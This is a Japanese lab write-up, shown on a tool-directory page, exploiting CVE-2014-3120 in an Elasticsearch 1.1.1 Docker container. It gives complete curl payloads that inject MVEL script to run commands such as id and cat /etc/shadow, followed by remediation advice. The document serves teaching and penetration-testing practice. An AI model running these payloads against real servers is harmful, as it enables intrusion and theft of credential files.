Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2014-3120 | Kitploit
ツール/GitHubGitHub/dungsocool/cve-2014-3120
コンテナセキュリティ脆弱性分析エクスプロイトペネトレーションテスト学習と教育ラボと実践
GitHubdungsocool/cve-2014-3120

CVE-2014-3120

リポジトリを見る
2ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

LAB 10-CVE-2014-3120

I. システム分析

Docker環境から攻撃対象領域を特定する

まず、環境内で実行されているものを確認します。アクティブなコンテナをすべてリストアップします:

root@kitploit:~
docker ps

image.png

結果: コンテナ p1/lab10:latest が実行されており、2つのポート を外部に公開しています:

ポートマッピングプロトコル
0.0.0.0:9200 → 9200/tcpHTTP (要確認)
0.0.0.0:9300 → 9300/tcp不明

初期観察: ポート 9200 と 9300 は、Elasticsearch のデフォルトポートとして一般的に知られています。ただし、ポート番号だけに基づいて結論を下すことはできません。他の多くのサービスも任意のポートにバインドできるからです。

⇒ curl で各ポートに直接アクセスして、実際に動作しているサービスを確認します。

ポート 9300 のテスト

root@kitploit:~
curl -i http://192.168.3.137:9300/

image.png

レスポンス分析:

  • レスポンス: curl: (52) Empty reply from server
  • サーバーヘッダー: なし - サーバーは HTTP レスポンスを一切返しません

評価: サーバーは TCP 接続 を受け入れましたが (connection refused は発生していない)、HTTP プロトコルでは応答しませんでした。これは ポート 9300 における Elasticsearch Transport プロトコル の挙動と一致します。Transport プロトコルは、クラスタ内のノード間通信に使われるバイナリプロトコルであり、HTTP ではありません。

⇒ 考え方: ポート 9300 はバイナリプロトコルを使用 → curl やブラウザで直接悪用することはできない。ポート 9200(HTTP REST API ポート)の確認に切り替えます。


ポート 9200 のテスト

root@kitploit:~
curl -i http://192.168.3.137:9200/

image.png

レスポンス分析:

攻撃対象領域の評価:

  • Elasticsearch 1.1.1 であることを確認 - サービスはバージョン情報を含む特徴的な JSON レスポンスを返します
  • 認証は不要 - REST API は認証情報を必要とせず直接応答します
  • Elasticsearch 1.1.1 (2014) は、いくつかの重大な CVE の影響範囲に該当します。特に CVE-2014-3120 は、動的スクリプティング (Dynamic Scripting) を介した任意のコード実行を可能にする脆弱性です

image.png

⇒ 考え方: Elasticsearch 1.1.1 は 動的スクリプティング (Dynamic Scripting) がデフォルトで有効です。クライアントが検索クエリ内にスクリプト (MVEL 式) を送信し、サーバーに実行させることができます。サンドボックスや適切な検証がない場合、攻撃者は悪意のあるスクリプトを注入して システムコマンドを実行 できます。次のステップ: ターゲット上で Dynamic Scripting が実際に有効かどうかを確認します。

動的スクリプティングと MVEL エンジンの検証

動的スクリプティングとは何か?

Elasticsearch は スクリプティング (Scripting) 機能をサポートしています。クライアントが検索リクエスト内にスクリプト (数式や論理式) を送信し、結果の処理時にサーバーで実行させることができます。Elasticsearch 1.x では、この機能のデフォルトエンジンは MVEL (MVFLEX Expression Language) です。

コアとなるセキュリティ問題

1.2 より前 の Elasticsearch バージョンでは、動的スクリプティングは デフォルトで有効 です (script.disable_dynamic: false)。これは次のことを意味します:

  1. REST API は 認証を必要としない
  2. クライアントは _search API の script_fields パラメータを介して 任意のスクリプト を送信できる
  3. MVEL エンジンは 十分に強力なサンドボックスを備えていない - Java ランタイムへのアクセスを許可する
  4. 攻撃者は java.lang.Runtime.getRuntime().exec() を呼び出して システムコマンドを実行 できる

script_fields の仕組み

script_fields を含む検索リクエストが送信されると、Elasticsearch は以下を実行します:

  1. _search API を介して JSON リクエストを受け取る
  2. script_fields フィールドを解析 → 実行する script を見つける
  3. MVEL エンジンを使用してスクリプトを評価する
  4. MVEL エンジンは Java ランタイムへの フルアクセス を持つ → 任意の Java クラスを呼び出せる
  5. 結果を HTTP レスポンスで返す

攻撃ベクトルの分析: MVEL → Java Runtime → RCE

Java でシステムコマンドを実行する最も一般的な方法は次のとおりです:

root@kitploit:~
Runtime.getRuntime().exec("command");

MVEL は Java クラスへの フルアクセス を持つ式言語として、これを直接呼び出すことができます:

root@kitploit:~
import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next();

各部分の説明:

⇒ 考え方: Elasticsearch では、RCE の出力は レスポンス内に直接返されます。ファイルにリダイレクトして読み戻す必要はありません。これにより、エクスプロイトはよりクリーンで検証も高速になります。

II. エクスプロイト

動的スクリプティングが有効であることを確認

ターゲットが Elasticsearch 1.1.1 であると特定したら、次のステップとして 動的スクリプティング (Dynamic Scripting) が実際に有効かどうかを検証します。

CVE-2014-3120 は、Elasticsearch がクライアントに _search リクエスト内でのスクリプト送信を許可するという事実を悪用します。スクリプトがサーバー側で実行された場合、攻撃者は無害な式を、Java Runtime を呼び出してシステムコマンドを実行するペイロードに置き換えることができます。

まず、クエリが少なくとも 1 件の一致結果を持つように、テストドキュメントを作成します。ドキュメントが一致しない場合、script_fields は評価されません。

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/test_type/1' \
  -H 'Content-Type: application/json' \
  -d '{"name":"test"}'

次にインデックスをリフレッシュします:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_refresh'

次に、無害な MVEL 式を含む script_fields を指定した _search リクエストを送信します:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/test_index/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {
      "match_all": {}
    },
    "script_fields": {
      "test": {
        "script": "1+1"
      }
    }
  }'

image.png

スクリプト "1+1" を送信すると、サーバーは結果 2 を返します。これは、Elasticsearch が _search リクエストを受け取るだけでなく、動的スクリプトをサーバー側で実行している ことを証明します。

⇒ 動的スクリプティング はターゲット上で有効です。

ターゲットは Elasticsearch 1.1.1 であり、1.2 より前のバージョンです。これは CVE-2014-3120 のエクスプロイト要件と一致します。Elasticsearch 1.2 より前では動的スクリプティングがデフォルトで有効であり、リモートの攻撃者が検索リクエストを介して MVEL 式/Java コードを実行できるようになります。

コマンド実行関数への経路の特定

script_fields が Elasticsearch によってサーバー側で実行されることを、無害な式 "1+1" が [2] を返すことで検証しました。

これは、ターゲットが標準的な検索を許可するだけでなく、クライアントが MVEL スクリプト を送信し、_search 処理中にサーバーで評価させることも許可していることを証明します。

CVE-2014-3120 の場合、重大なリスクは、Elasticsearch 1.1.1 の MVEL が Java クラスにアクセスできるという事実にあります。したがって、攻撃者は "1+1" のような数式を送信する代わりに、Java Runtime を呼び出すスクリプトを送信できます:

Runtime.getRuntime().exec("command")

これは、新しいプロセスを作成してオペレーティングシステム上でコマンドを実行するための標準的な Java API です。

攻撃チェーン

root@kitploit:~
_search API
→ script_fields
→ MVEL expression
→ Java Runtime
→ Runtime.getRuntime().exec("command")
→ getInputStream()
→ Scanner reads stdout
→ result returned in the JSON response

RCE ペイロードの構築と実行

RCE ペイロード:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "exploit": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

ペイロードの内訳:

結果:

レスポンスは、id コマンドの出力を含む fields.exploit フィールドを返します:

root@kitploit:~
"exploit": [
  "uid=0(root) gid=0(root) groups=0(root)\n"
]

分析:

ペイロードは、script_fields 内の MVEL スクリプトを介して Runtime.getRuntime().exec("id") を呼び出すことに成功しました。レスポンスが id コマンドの出力を返すという事実は、コマンドがサーバー側で実行されたことを証明します。

結果 uid=0(root) gid=0(root) groups=0(root) は、コンテナ内の Elasticsearch プロセスが root 権限で実行されていることを示します。

権限の制限を特定する

RCE を確認した後、機密ファイルの読み取りを試みて、実際の権限を検証する必要があります:

/etc/shadow の読み取り:

root@kitploit:~
curl -s -X POST http://192.168.3.137:9200/_search?pretty -H "Content-Type: application/json" -d '{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "shadow_test": {
      "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/shadow\").getInputStream()).useDelimiter(\"\\\\A\").next();"
    }
  }
}'

image.png

観察された結果:

レスポンスは /etc/shadow ファイルの内容を返します:

root@kitploit:~
root:*:17728:0:99999:7:::
daemon:*:17728:0:99999:7:::
bin:*:17728:0:99999:7:::
...

分析:

/etc/shadow ファイルは Linux の機密システムファイルであり、通常は root ユーザーまたは同等の権限を持つプロセスのみが読み取れます。前のステップで、id コマンドは次のように返しました:

uid=0(root) gid=0(root) groups=0(root)

このステップでは、実際の動作によってさらに確認されます。RCE ペイロードは /etc/shadow の読み取りに成功 しています。

⇒ コンテナ内の Elasticsearch は root 権限 で実行されています。

⇒ 影響は一般的なコマンド実行に限定されず、コンテナ内での root 権限による RCE です。

注: ここでの root 権限は、Docker コンテナ内の root を指します。コンテナが特権モードで実行されている、Docker ソケットがマウントされている、またはホストの機密ボリュームがマウントされているという証拠がなければ、攻撃者がホスト上で root 権限を持っているとは結論付けられません。

III. ポストエクスプロイテーション

システム情報の収集

RCE が確認されました。影響範囲を評価するために、システム情報を収集します。

コンテナのルートファイルシステムの一覧表示

root 権限での RCE を確認した後、MVEL ペイロードを介して ls -la / コマンドを実行し、ターゲット内部のファイルシステムを観察します:

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "rootfs": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"ls -la /\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

結果: レスポンスは rootfs フィールド内に / ディレクトリの内容を返します。

分析:

ls -la / の出力が JSON レスポンスに現れるという事実は、コマンドが RCE を介してターゲット上で実行された ことを証明します。docker-entrypoint.sh、elasticsearch ディレクトリ、docker-java-home シンボリックリンク などのファイルは、侵害された環境が Elasticsearch を実行するコンテナであることを示しています。

⇒ 攻撃者はコンテナ内のファイルシステムを root 権限で一覧表示できます。

ネットワークの確認 - ピボットの可能性

コンテナには /sbin/ifconfig バイナリがないため、/proc/net/route を直接読み取ります。このファイルは外部ユーティリティを必要とせず、コンテナのルーティングテーブルを提供します。

root@kitploit:~
curl -s -X POST 'http://192.168.3.137:9200/_search?pretty' \
  -H 'Content-Type: application/json' \
  -d '{
    "size": 1,
    "query": {"filtered": {"query": {"match_all": {}}}},
    "script_fields": {
      "route": {
        "script": "import java.io.*; new java.util.Scanner(Runtime.getRuntime().exec(\"cat /proc/net/route\").getInputStream()).useDelimiter(\"\\\\A\").next();"
      }
    }
  }'

image.png

分析:

結果は、コンテナがインターフェース eth0 を持ち、Docker ネットワーク 172.19.0.0/16 内に存在することを示しています。デフォルトゲートウェイは 172.19.0.1 です。

これは、コンテナが Docker ブリッジを介した内部ネットワーク接続を持つことを証明します。攻撃者はすでにコンテナ内で root 権限による RCE を持っているため、ネットワークポリシーが許可していれば、理論的には同じ Docker ネットワーク内の他のホスト/サービスを調査し続けることができます。

ただし、この出力は ルーティングレベルでのネットワーク可視性のみを証明 しており、ピボットの成功を証明するものではありません。ピボットを結論付けるには、別のホストのスキャン成功、内部サービスへの接続、別のネットワークからのリソース取得など、さらなる証拠が必要です。

IV. リスク評価と推奨事項

リスク評価

分析中に収集された証拠に基づき、ターゲットはポート 9200 で Elasticsearch 1.1.1 を実行しています。このバージョンは 1.2 より前であり、CVE-2014-3120 の影響範囲に該当します。

この脆弱性は、Elasticsearch がバージョン 1.2 より前で 動的スクリプティング (Dynamic Scripting) をデフォルトで有効にしており、クライアントが検索リクエストを介して MVEL スクリプトを送信できることに起因します。このラボでは、この機能は無害な式 "1+1" を使用して確認され、結果 [2] が返されました。

その後、MVEL ペイロードは次を呼び出しました:

root@kitploit:~
Runtime.getRuntime().exec("id")

レスポンスは次のように返しました:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

これは、攻撃者が Elasticsearch を介してシステムコマンドを実行できることを証明します。さらに、ペイロードは /etc/shadow の読み取りに成功し、実行権限がコンテナ内で root であることを確認しました。

修正推奨事項

1. Elasticsearch を新しいバージョンにアップグレードする

Elasticsearch をバージョン >= 1.2.0 (最低限) または理想的には現在サポートされているバージョン (8.x) にアップグレードしてください。バージョン 1.2 以降、動的スクリプティングは デフォルトで無効 になります。

2. 直ちに動的スクリプティングを無効にする (アップグレードが不可能な場合)

elasticsearch.yml に以下を追加します:

root@kitploit:~
script.disable_dynamic: true

変更後に Elasticsearch を再起動します。これにより、クライアントが検索リクエスト内でスクリプトを送信する機能が完全に無効になります。

3. Elasticsearch REST API を信頼できないネットワークに公開しない

Elasticsearch はバージョン 1.x では デフォルトの認証を持ちません。どうしても公開する必要がある場合は、認証付きのリバースプロキシの背後に配置するか、127.0.0.1 にのみバインドしてください。

高優先度

4. 認証と暗号化を有効にする

最新の Elasticsearch バージョン (7.x+) は、組み込みのセキュリティ (認証、TLS) をサポートしています。アップグレードした場合は、セキュリティ機能を有効にしてください:

root@kitploit:~
xpack.security.enabled: true
xpack.security.transport.ssl.enabled: true

5. ファイアウォールでアクセスを制限する

信頼できる IP のみがポート 9200 と 9300 にアクセスできるようにしてください。インターネットや内部ネットワーク全体に 公開しない でください。

6. Elasticsearch を低権限ユーザーで実行する

Elasticsearch を root ユーザーで実行しないでください。最小限の権限を持つ専用の elasticsearch ユーザーを作成してください。これは公式のベストプラクティスです。

ツールをダウンロード
フィールド値意味
name"Rage"Elasticsearch ノード名 (ランダムな Marvel キャラクター名 - 古い ES バージョンのデフォルト動作)
version.number"1.1.1"非常に古いバージョン - 2014年4月リリース
build_timestamp"2014-04-16T14:27:12Z"2014年にビルド
lucene_version"4.7"Lucene 4.7 - 古いインデックスエンジン
tagline"You Know, for Search"Elasticsearch の特徴的な署名フレーズ
部分説明
import java.io.*Java IO クラスをインポート
Runtime.getRuntime()Java Runtime インスタンスを取得
.exec("id")シェルコマンド id を実行
.getInputStream()プロセスの出力ストリームを取得
new Scanner(...).useDelimiter("\\A").next()出力全体を文字列として読み取る
部分目的
"size": 1結果を 1 ドキュメントに制限
"query" → "match_all"すべてのドキュメントに一致 (インデックス内に少なくとも 1 ドキュメント存在する必要がある)
"script_fields" → "exploit"MVEL スクリプトを実行する計算フィールドを定義
"script": "import java.io.*; ..."id コマンドを実行して出力を返す MVEL 式
基準評価詳細
CVECVE-2014-3120Elasticsearch 動的スクリプティング RCE
影響を受けるサービスElasticsearchREST API がポート 9200 で公開
バージョン1.1.11.2 より前、影響を受けるバージョンに該当
認証ラボでは不要REST API が直接応答、資格情報は不要
エクスプロイト条件動的スクリプティングが有効スクリプト "1+1" が [2] を返すことで確認
取得した権限コンテナ内の rootid が uid=0(root) を返す
影響非常に高いRCE、機密ファイルの読み取り、ファイルシステムの一覧表示、ユーザー/ネットワーク情報の収集
範囲コンテナホスト侵害の証拠はまだなし
ピボットさらなる検証の可能性コンテナは Docker ネットワーク 172.19.0.0/16 内で eth0 を介したルートを持つ